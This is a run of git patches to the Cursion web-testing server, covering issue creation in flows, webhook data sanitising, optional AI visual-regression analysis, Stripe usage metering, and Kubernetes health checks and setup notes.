@@ -770,6 +775,18 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
                 flowrun_id    = flowrun_id,
                 node_index    = node_index
             )
+
+        # create new issue
+        if task_type == 'issue':
+            create_issue_bg.delay(
+                account_id    = account_id,
+                objects       = objects,
+                title         = node_data['title'],
+                details       = node_data['details'],
+                generate      = node_data['generate'],
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
         
         # create new report
         if task_type == 'report':
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index cfdc3b50..e0757d66 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -96,7 +96,7 @@ def clean_recommendation(self, recommendation: str=None) -> str:
         """ 
         Replaces URLs with correct URLs
 
-        Expcets: {
+        Expects: {
             'recommendation': str
         }
 
@@ -127,9 +127,6 @@ def build_issue(self):
         Returns -> `Issue` <obj>
         """
 
-        # defining top level attrs
-        
-
         # deciding on type
         self.obj = self.scan or self.test or self.caserun
         self.type = 'scan' if self.scan else 'test' if self.test else 'caserun'
@@ -197,7 +194,7 @@ def _handle_scan(self) -> None:
         """ 
         Handles data collection for a scan
 
-        Expcets: None
+        Expects: None
 
         Returns: None
         """
@@ -214,14 +211,15 @@ def _handle_scan(self) -> None:
         yl_audits = requests.get(self.scan.yellowlab.get('audits')).json() if self.scan.yellowlab.get('audits') else ''
 
         # include logs
-        if len(self.scan.logs) > 0:
-            cats.append({
-                'key'   : 'logs',
-                'name'  : 'Console Issues',
-                'value' : str(len(self.scan.logs))
-            })
-            comps.append('Console')
-            logs = self.scan.logs
+        if self.scan.logs:
+            if len(self.scan.logs) > 0:
+                cats.append({
+                    'key'   : 'logs',
+                    'name'  : 'Console Issues',
+                    'value' : str(len(self.scan.logs))
+                })
+                comps.append('Console')
+                logs = self.scan.logs
 
         # include lighthouse 
         if self.scan.lighthouse.get('audits'):
@@ -315,7 +313,7 @@ def _handle_test(self) -> None:
         """ 
         Handles data collection for a test
 
-        Expcets: None
+        Expects: None
 
         Returns: None
         """
@@ -445,7 +443,7 @@ def _handle_caserun(self) -> None:
         """ 
         Handles data collection for a caserun
 
-        Expcets: None
+        Expects: None
 
         Returns: None
         """

From 8d93266c1f1f3b4c12789b467a1a30308ee545de Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 6 Feb 2025 16:20:54 -0700
Subject: [PATCH 0881/1099] fix: minor exceptions with Issue integration

---
 app/api/tasks.py        | 23 +++++++++++++++++++++--
 app/api/utils/alerts.py | 12 ++++++++++--
 2 files changed, 31 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d4d4087e..3d78ae94 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2281,7 +2281,7 @@ def create_issue(
             ).build_issue()
 
             # build messge
-            message = f'✅ created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
+            message = f'created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
             success = True
             
         except Exception as e:
@@ -2325,7 +2325,7 @@ def create_issue(
         )
 
         # build messge
-        message = f'✅ created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
+        message = f'created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
         success = True
 
     # return data
@@ -2365,6 +2365,25 @@ def create_issue_bg(
     Returns: None
     """
 
+    # create objects list for flowrun
+    obj_list = []
+    for o in objects:
+        obj_list.append({
+            'parent': o['id'],
+            'id': None, 
+            'status': 'working'
+        })
+    
+    # update flowrun if requested
+    if flowrun_id and flowrun_id != 'None':
+        # update flowrun
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'building {len(obj_list)} Issues | run_id: {flowrun_id}',
+            'objects': obj_list
+        })
+
     # interating through objects
     for obj in objects:
 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 08843a15..ba618358 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -10,7 +10,7 @@
 from .definitions import get_definition, definitions
 from datetime import date
 from cryptography.fernet import Fernet
-import os, json, requests, uuid
+import os, json, requests, uuid, re
 
 
 
@@ -1045,10 +1045,18 @@ def send_webhook(
     # get object
     obj = get_obj(object_id)['obj']
 
-    # cleaning data
+    # transpose data
     cleaned_headers = transpose_data(headers, obj, secrets)
     cleaned_payload = transpose_data(payload, obj, secrets)
     cleaned_url = transpose_data(url, obj, secrets)
+
+    # sanitize data
+    cleaned_headers = re.sub(r'[\x00-\x1f\x7f]', '', cleaned_headers)
+    cleaned_payload = re.sub(r'[\x00-\x1f\x7f]', '', cleaned_payload)
+
+    # reformatting
+    cleaned_headers = re.sub(r'(["}])\s*(?=["{])', r'\1,', cleaned_headers)
+    cleaned_payload = re.sub(r'(["}])\s*(?=["{])', r'\1,', cleaned_payload)
     
     # building json
     json_payload = json.loads(cleaned_payload) if request_type == 'POST' else {}

From f477ec325d502d33e767e097313c8c442d1d1817 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 20 Feb 2025 12:32:17 -0700
Subject: [PATCH 0882/1099] fix: minor var replacement

---
 app/api/utils/alerts.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index ba618358..1c9eab52 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -808,7 +808,7 @@ def sendgrid_email(
 
         # replacing '\n' with <br>
         content = content.replace('\n', '<br>')
-        pre_content = content.replace('\n', '<br>')
+        pre_content = pre_content.replace('\n', '<br>')
 
     # build template data
     template_data = {

From f575eec6423c18d75d09fce9310164c62ff62125 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 20 Mar 2025 08:14:12 -0600
Subject: [PATCH 0883/1099] fix: typo

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 45b00b46..0a4aba20 100644
--- a/README.md
+++ b/README.md
@@ -23,7 +23,7 @@
 </p>
 
 <p align="center">
-   Compicated Web Testing on Easy Mode
+  Complicated Web Testing on Easy Mode
 </p>
 
 <p align="center">

From 319897325bbb45f07a04dac486f54b02cbf5e135 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 20 Mar 2025 08:14:41 -0600
Subject: [PATCH 0884/1099] fix: minor admin tools fixes

---
 app/api/admin.py           | 5 ++---
 app/api/v1/ops/services.py | 2 +-
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 9273fd06..bb1d11d9 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -49,7 +49,6 @@ class CardAdmin(admin.ModelAdmin):
 
 
 
-
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
@@ -127,7 +126,7 @@ def delete_tests(self, request, queryset):
         for test in queryset:
             delete_test(
                 id=test.id,
-                account=test.page.account
+                user=test.page.account.user
             )
 
 
@@ -142,7 +141,7 @@ def delete_scans(self, request, queryset):
         for scan in queryset:
             delete_scan(
                 id=scan.id,
-                account=scan.page.account
+                user=scan.page.account.user
             )
     
     def add_scan_score(self, request, queryset):
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f93dd2f8..36243aef 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2611,7 +2611,7 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
     Expects: {
         'request' : object,
         'id'      : str,
-        'account' : object,
+        'user'    : object,
     }
 
     Returns -> HTTP Response object

From bc8add5615cee2241ca757e6b6b181084403be26 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 28 Mar 2025 10:37:34 -0600
Subject: [PATCH 0885/1099] feature: ai vrt analysis

---
 app/api/utils/imager.py | 39 ++++++++++++++++++++-------------------
 app/cursion/settings.py |  3 ++-
 2 files changed, 22 insertions(+), 20 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 2348723c..e6309ee5 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -462,11 +462,11 @@ class Result(BaseModel):
                             Look for changes in pictures, buttons, forms, vertial shifts, etc. \
                             Respond also with a boolean that is TRUE if the page should be considered broken. \
                             Consider any emerging portions that appear to be unrendered HTML \
-                            (contains angle brackets like '<' '>' or square brackets like '[wp-form-12]') to be a 'breaking change'. \
                             If the same text is present in both images, then DO NOT consider it a 'breaking change'. \
                             Only consider 'breaking changes' on the second image. \
                             DO NOT consider new or altered text to a 'breaking change'. \
                             DO NOT consider text changes within images or pictures on the webpage. \
+                            Ignore portions that appear to be advertizements. \
                             Please be somewhat strict with the analysis. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         
                         },
@@ -713,8 +713,15 @@ def test_vrt(self) -> dict:
         """
 
         # defaults
-        i = 0
-        images_delta = {
+        i               = 0
+        img_score       = None
+        pre_img         = None
+        post_img        = None
+        pre_img_diff    = None
+        post_img_diff   = None
+        ai_summary      = None
+        broken          = None
+        images_delta    = {
             "average_score": None,
             "images": None,
         }
@@ -786,24 +793,18 @@ def test_vrt(self) -> dict:
             post_img = old_imgs[1]
 
             # running AI comparison
-            resp = self.ai_compare(
-                pre_img_url   = self.test.pre_scan.images[0].get('url'), 
-                post_img_url  = self.test.post_scan.images[0].get('url'), 
-                score         = ssim_img_score,
-                highlighted   = False
-            )
-            ai_summary = resp.get('summary')
-            broken = resp.get('broken')
+            if self.test.post_scan.configs.get('ai_analysis') == True:
+                resp = self.ai_compare(
+                    pre_img_url   = self.test.pre_scan.images[0].get('url'), 
+                    post_img_url  = self.test.post_scan.images[0].get('url'), 
+                    score         = ssim_img_score,
+                    highlighted   = False
+                )
+                ai_summary = resp.get('summary')
+                broken = resp.get('broken')
 
         except Exception as e:
             print(e)
-            img_score       = None
-            pre_img         = None
-            post_img        = None
-            pre_img_diff    = None
-            post_img_diff   = None
-            ai_summary      = None
-            broken          = None
 
         # create img test obj and add to array
         img_test_obj = [{
@@ -847,7 +848,7 @@ def caserun_vrt(self, step: int=None, type: str=None) -> dict:
             type : str, "action" or "assertion"
         }
 
-        Returns -> data: {
+        Returns: {
             'average_score' : float(0-100),
             'images'        : dict,
         }
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index d9c02960..b2e6b750 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -263,7 +263,8 @@
     'disable_animations': True,
     'auto_height': True,
     'create_issue': True,
-    'end_on_fail': True
+    'end_on_fail': True,
+    'ai_analysis': False,
 }
 
 

From b393d7d110e27d8b73ef95eab485e1237680fc50 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 28 Mar 2025 10:38:00 -0600
Subject: [PATCH 0886/1099] update: added regcred creation to steps

---
 notes/Kubernetes.md | 26 ++++++++++++++++----------
 1 file changed, 16 insertions(+), 10 deletions(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 71a1c6c0..54f0b3d2 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -20,59 +20,65 @@ echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc  # (or ~/.b
 ```
 
 
-### 1. Ensure minikube is running
+### 3. Ensure minikube is running
 ```shell
 minikube status 
 ``` 
 
 
-### 2. **Update config map**
+### 4. **Update config map**
 Prior to running the app, be sure to update `app-configs-example.yaml` with your unique values, and remove the trailing `-example` string from the file.
 
 
-### 3. Apply app-configs 
+#### 4.1 Create regcred for Docker Hub 
+``` shell
+kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<your-name> --docker-password=<your-pword> --docker-email=<your-email>
+```
+
+
+### 5. Apply app-configs 
 ```shell
 kubectl apply $CURSION_ROOT/k8s/local/app-configs.yaml 
 ``` 
 
 
-### 4. Apply db-deployment
+### 6. Apply db-deployment
 ```shell
 kubectl apply $CURSION_ROOT/k8s/local/db-deployment.yaml 
 ``` 
 
 
-### 5. Apply redis-deployment
+### 7. Apply redis-deployment
 ```shell
 kubectl apply $CURSION_ROOT/k8s/local/redis-deployment.yaml 
 ```
 
 
-### 6. Get pod ip of db-deployment
+### 8. Get pod ip of db-deployment
 ```shell
 kubectl get pod -o wide 
 ```
 
 
-### 7. Paste db pod IP into app-configs for field "DB_HOST"
+### 9. Paste db pod IP into app-configs for field "DB_HOST"
 ```shell
 kubectl apply $CURSION_ROOT/k8s/local/app-config.yaml 
 ``` 
 
 
-### 8. Apply app-deployment
+### 10. Apply app-deployment
 ```shell
 kubectl apply $CURSION_ROOT/k8s/local/app-deployment.yaml 
 ``` 
 
 
-### 9. Apply celery-deployment
+### 11. Apply celery-deployment
 ```shell
 kubectl apply celery-deployment.yaml
 ``` 
 
 
-### 10. Forward Port `8000` to app
+### 12. Forward Port `8000` to app
 ```shell
 kubectl port-forward service/app-service 8000:8000
 ```

From 857d2307b1b613125000048f93467a84cd798b1f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 11:06:04 -0600
Subject: [PATCH 0887/1099] update: documentation update

---
 app/api/utils/crawler.py | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 4555ef12..9972ae74 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -14,7 +14,6 @@ class Crawler():
     Expects: {
         'url'       : str,
         'sitemap'   : str,
-        'start_url' : str,
         'max_urls'  : int,
     }
 
@@ -133,7 +132,7 @@ def crawl_url(start_url: str=None, max_depth: int=5):
                         if str(self.driver.current_url) == str(url):
                             if url.endswith('/'):
                                 url = url.rstrip('/')
-                            if not (url in follow_urls):
+                            if url not in follow_urls:
                                 follow_urls.append(url)
                                 depth += 1
                                 print(f'{depth} urls saved of {max_depth} allowed')
@@ -148,8 +147,8 @@ def record_urls():
             # iterate through existing follow_urls
             for url in follow_urls:
                 # pass if already crawled
-                if not url in crawled_urls:
-                    if not url in saved_urls:
+                if url not in crawled_urls:
+                    if url not in saved_urls:
                         saved_urls.append(url)
                         print(f'saving -> {url}')
                     if len(saved_urls) >= self.max_urls:
@@ -173,7 +172,7 @@ def record_urls():
                     break
                 
                 # crawl new url if not in crawled_urls
-                if not url in crawled_urls:
+                if url not in crawled_urls:
                     crawl_url(url, max_depth=self.max_urls)
 
 

From 2e7574ccb720a75c2da06e496afb1f34eb9cb216 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 11:06:43 -0600
Subject: [PATCH 0888/1099] update: adding health checks

---
 k8s/prod/celery-deployment.yaml | 22 +++++++++++++++++-----
 setup/scripts/entrypoint.sh     |  4 +++-
 setup/scripts/healthcheck.sh    |  9 +++++++++
 3 files changed, 29 insertions(+), 6 deletions(-)
 create mode 100644 setup/scripts/healthcheck.sh

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 79af3f60..f7376153 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:latest # 
+          image: <IMAGE> # cursiondev/server:af04732 # 
           imagePullPolicy: Always
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -38,11 +38,23 @@ spec:
           resources:
             limits:
               cpu: "1"
-              memory: "3.5Gi"
+              memory: "2.5Gi"
             requests:
-              cpu: "1"
-              memory: "2Gi"
+              cpu: ".75"
+              memory: "1.5Gi"
           lifecycle:
             preStop:
               exec:
-                command: ["python3", "manage.py", "terminate_worker"]
\ No newline at end of file
+                command: ["python3", "manage.py", "terminate_worker"]
+          livenessProbe:
+            exec:
+              command: ["/bin/bash", "/healthcheck.sh", "celery"]
+            initialDelaySeconds: 120
+            periodSeconds: 30
+            failureThreshold: 5
+          readinessProbe:
+            exec:
+              command: ["/bin/bash", "/healthcheck.sh", "celery"]
+            initialDelaySeconds: 120
+            periodSeconds: 20
+            failureThreshold: 3
\ No newline at end of file
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index fb001213..47c6524b 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -1,4 +1,6 @@
 #!/bin/bash
+# /entrypoint.sh
+
 
 # spin up server in local, remote, or stage env
 if [[ $1 == *"server"* ]]
@@ -36,7 +38,7 @@ if [[ $1 == *"celery"* ]]
   then
     python3 manage.py wait_for_db && 
     echo "pausing for migrations to complete..." && sleep 7s &&
-    celery -A cursion worker -E --loglevel=info -O fair
+    celery -A cursion worker -E --loglevel=info -O fair --hostname=celery@$(hostname)
 fi
 
 # spin up celery beat
diff --git a/setup/scripts/healthcheck.sh b/setup/scripts/healthcheck.sh
new file mode 100644
index 00000000..e97f876a
--- /dev/null
+++ b/setup/scripts/healthcheck.sh
@@ -0,0 +1,9 @@
+#!/bin/bash
+# /healthcheck.sh
+
+
+# check celery worker
+if [[ $1 == *"celery"* ]]
+  then
+    celery inspect ping -d "celery@$(hostname)" | grep -q OK
+fi
\ No newline at end of file

From 8d3401e85c7775e4fc8cc401c2917db530f7aed9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 11:34:19 -0600
Subject: [PATCH 0889/1099] fix: adjusted healthcheck.sh and copied to
 container

---
 Dockerfile                   | 3 +++
 setup/scripts/healthcheck.sh | 2 +-
 2 files changed, 4 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index f58c91ba..79eadf91 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -110,6 +110,9 @@ RUN apt-get clean && rm -rf \
 # setting final user
 USER app
 
+# copy healthcheck.sh
+COPY ./setup/scripts/healthcheck.sh "/healthcheck.sh"
+
 # staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
diff --git a/setup/scripts/healthcheck.sh b/setup/scripts/healthcheck.sh
index e97f876a..408ceb18 100644
--- a/setup/scripts/healthcheck.sh
+++ b/setup/scripts/healthcheck.sh
@@ -5,5 +5,5 @@
 # check celery worker
 if [[ $1 == *"celery"* ]]
   then
-    celery inspect ping -d "celery@$(hostname)" | grep -q OK
+    celery -A cursion inspect ping -d "celery@$(hostname)" | grep -q OK
 fi
\ No newline at end of file

From 021c164089ecd6ebd9183c7f324db5a3e1ac5cb7 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 11:57:08 -0600
Subject: [PATCH 0890/1099] fix: adjusting permissions on scripts

---
 Dockerfile                      | 2 ++
 k8s/prod/celery-deployment.yaml | 4 ++--
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 79eadf91..fdec15b6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -112,9 +112,11 @@ USER app
 
 # copy healthcheck.sh
 COPY ./setup/scripts/healthcheck.sh "/healthcheck.sh"
+RUN chmod +x /healthcheck.sh
 
 # staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
+RUN chmod +x /entrypoint.sh
 ENTRYPOINT [ "/entrypoint.sh" ]
 
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index f7376153..a7a76671 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -48,13 +48,13 @@ spec:
                 command: ["python3", "manage.py", "terminate_worker"]
           livenessProbe:
             exec:
-              command: ["/bin/bash", "/healthcheck.sh", "celery"]
+              command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
             periodSeconds: 30
             failureThreshold: 5
           readinessProbe:
             exec:
-              command: ["/bin/bash", "/healthcheck.sh", "celery"]
+              command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
             periodSeconds: 20
             failureThreshold: 3
\ No newline at end of file

From 4d6ac938ec9a749fbac830f307a7f5b8213421d3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 12:03:42 -0600
Subject: [PATCH 0891/1099] fix: increased timeout for healthcheck

---
 setup/scripts/healthcheck.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/healthcheck.sh b/setup/scripts/healthcheck.sh
index 408ceb18..1a495c71 100644
--- a/setup/scripts/healthcheck.sh
+++ b/setup/scripts/healthcheck.sh
@@ -5,5 +5,5 @@
 # check celery worker
 if [[ $1 == *"celery"* ]]
   then
-    celery -A cursion inspect ping -d "celery@$(hostname)" | grep -q OK
+    celery -A cursion inspect ping -d "celery@$(hostname)" --timeout=10 | grep -q OK
 fi
\ No newline at end of file

From 59a97a82ad1da833bfe4e4bc3ec23105c9eefb54 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 12:04:58 -0600
Subject: [PATCH 0892/1099] fix: increased healthcheck timeout

---
 setup/scripts/healthcheck.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/scripts/healthcheck.sh b/setup/scripts/healthcheck.sh
index 1a495c71..980aeb7c 100644
--- a/setup/scripts/healthcheck.sh
+++ b/setup/scripts/healthcheck.sh
@@ -5,5 +5,5 @@
 # check celery worker
 if [[ $1 == *"celery"* ]]
   then
-    celery -A cursion inspect ping -d "celery@$(hostname)" --timeout=10 | grep -q OK
+    celery -A cursion inspect ping -d "celery@$(hostname)" --timeout=15 | grep -q OK
 fi
\ No newline at end of file

From 59b713d98007cddb7f8204eccb95928324eb4b1a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 12:22:45 -0600
Subject: [PATCH 0893/1099] fix: adjusting file permissions

---
 Dockerfile                   | 2 --
 setup/scripts/healthcheck.sh | 0
 2 files changed, 2 deletions(-)
 mode change 100644 => 100755 setup/scripts/healthcheck.sh

diff --git a/Dockerfile b/Dockerfile
index fdec15b6..79eadf91 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -112,11 +112,9 @@ USER app
 
 # copy healthcheck.sh
 COPY ./setup/scripts/healthcheck.sh "/healthcheck.sh"
-RUN chmod +x /healthcheck.sh
 
 # staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
-RUN chmod +x /entrypoint.sh
 ENTRYPOINT [ "/entrypoint.sh" ]
 
 
diff --git a/setup/scripts/healthcheck.sh b/setup/scripts/healthcheck.sh
old mode 100644
new mode 100755

From 6aac1d4ee78e4de36a5557ed037f17941eb072cb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 13:53:40 -0600
Subject: [PATCH 0894/1099] udpate: slight change on metering process for cloud
 accounts

---
 app/api/tasks.py        | 38 ++------------------------------------
 app/api/utils/imager.py |  5 +++++
 app/api/utils/issuer.py |  5 +++++
 app/api/utils/meter.py  | 39 +++++++++++++++++++++++++++++++++++++++
 4 files changed, 51 insertions(+), 36 deletions(-)
 create mode 100644 app/api/utils/meter.py

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3d78ae94..33545c4f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -17,6 +17,7 @@
 )
 from .utils.alerts import *
 from .utils.updater import update_flowrun
+from .utils.meter import meter_account
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -123,7 +124,7 @@ def check_and_increment_resource(account_id: str, resource: str) -> bool:
             if (int(account.usage[f'{resource}'])) >= int(account.usage[f'{resource}_allowed']):
 
                 # meter resource
-                meter_resource.delay(account.id, 1)
+                meter_account(account.id, 1)
             
             # increment and update success
             account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
@@ -2840,41 +2841,6 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
 
 
 
-@shared_task
-def meter_resource(account_id: str=None, count: int=1) -> None:
-    """ 
-    Sends a `MeterEvent` request to Stripe to 
-    track account usage
-
-    Expects: {
-        'account_id' : <str> (REQUIRED)   
-        'count'      : <int> (OPTIONAL)   
-    }
-
-    Returns: None
-    """
-
-    # init Stripe client
-    stripe.api_key = settings.STRIPE_PRIVATE
-
-    # get account
-    account = Account.objects.get(id=account_id)
-
-    # send stripe request
-    stripe.billing.MeterEvent.create(
-        event_name  = 'tasks',
-        payload     = {
-            'stripe_customer_id': account.cust_id, 
-            "value": count
-        },
-    )
-
-    # return
-    return None
-
-
-
-
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index e6309ee5..4e486384 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -7,6 +7,7 @@
 from asgiref.sync import sync_to_async
 from openai import OpenAI
 from pydantic import BaseModel
+from .meter import meter_account
 import time, os, sys, json, uuid, boto3, \
     statistics, shutil, numpy, cv2, requests
 
@@ -500,6 +501,10 @@ class Result(BaseModel):
                 'broken': None
             }
 
+        # meter account if necessary
+        if self.test.page.account.type == 'cloud' and self.test.page.account.cust_id:
+            meter_account(str(self.test.page.account.id), 1)
+
         print(result)
         return result
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index e0757d66..c1b6e350 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,6 +1,7 @@
 from ..models import *
 from cursion import settings
 from openai import OpenAI
+from .meter import meter_account
 import time, os, json, uuid, \
     random, boto3, re, requests
 
@@ -183,6 +184,10 @@ def build_issue(self):
             trigger  = self.trigger,
             affected = self.affected
         )
+
+        # meter account if necessary
+        if self.account.type == 'cloud' and self.account.cust_id:
+            meter_account(str(self.account.id), 1)
         
         # new Issue
         return issue
diff --git a/app/api/utils/meter.py b/app/api/utils/meter.py
new file mode 100644
index 00000000..bd1c183f
--- /dev/null
+++ b/app/api/utils/meter.py
@@ -0,0 +1,39 @@
+from ..models import Account
+from cursion import settings
+import stripe
+
+
+
+
+
+
+def meter_account(account_id: str=None, count: int=1) -> None:
+    """ 
+    Sends a `MeterEvent` request to Stripe to 
+    track account usage
+
+    Expects: {
+        'account_id' : <str> (REQUIRED)   
+        'count'      : <int> (OPTIONAL)   
+    }
+
+    Returns: None
+    """
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # get account
+    account = Account.objects.get(id=account_id)
+
+    # send stripe request
+    stripe.billing.MeterEvent.create(
+        event_name  = 'tasks',
+        payload     = {
+            'stripe_customer_id': account.cust_id, 
+            'value': count
+        },
+    )
+
+    # return
+    return None
\ No newline at end of file

From 22c0222ce485191cfa2b75b5660b31cf2ee9c86c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 14:11:07 -0600
Subject: [PATCH 0895/1099] update: changed imagePullPolicy for faster
 auto-scaling

---
 k8s/prod/app-deployment.yaml    | 2 +-
 k8s/prod/celery-deployment.yaml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 1cb733b6..7d115be5 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -19,7 +19,7 @@ spec:
       containers:
         - name: cursion-server
           image: <IMAGE> # cursiondev/server:cd77834 #
-          imagePullPolicy: Always
+          imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 8000
           command: ["/entrypoint.sh", "server", "remote"]
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index a7a76671..e2a2905e 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -25,7 +25,7 @@ spec:
       containers:
         - name: celery
           image: <IMAGE> # cursiondev/server:af04732 # 
-          imagePullPolicy: Always
+          imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
             - configMapRef:

From 89710254fb51bb2f5f720dd2c9ac68b81455f3fc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 4 Apr 2025 14:45:39 -0600
Subject: [PATCH 0896/1099] update: increased robustness of task-retry

---
 app/api/tasks.py | 40 ++++++++++++++++++++++++++++++++--------
 1 file changed, 32 insertions(+), 8 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 33545c4f..6982a4e2 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -176,7 +176,7 @@ def record_task(
         task_id: str=None, 
         task_method: str=None, 
         **kwargs,
-    ) -> None:
+    ) -> bool:
 
     """ 
     Records task information in the `resource.system` 
@@ -190,9 +190,12 @@ def record_task(
         'kwargs'        : dict
     }
     
-    Returns: None
+    Returns: max_attempts_reached <bool>
     """
 
+    # set default 
+    max_atttempts_reached = False
+
     # get resource 
     if resource_type == 'scan':
         resource = Scan.objects.get(id=resource_id)
@@ -215,6 +218,7 @@ def record_task(
             # update existing task
             tasks[i]['task_id'] = str(task_id)
             tasks[i]['attempts'] += 1
+            max_atttempts_reached = True if (tasks[i]['attempts'] > settings.MAX_ATTEMPTS) else False
             exists = True
         i += 1
 
@@ -233,7 +237,7 @@ def record_task(
     resource.save()
 
     # return
-    return None
+    return max_atttempts_reached
 
 
 
@@ -989,8 +993,8 @@ def run_html_and_logs_bg(
         flowrun_id = kwargs.get('flowrun_id')
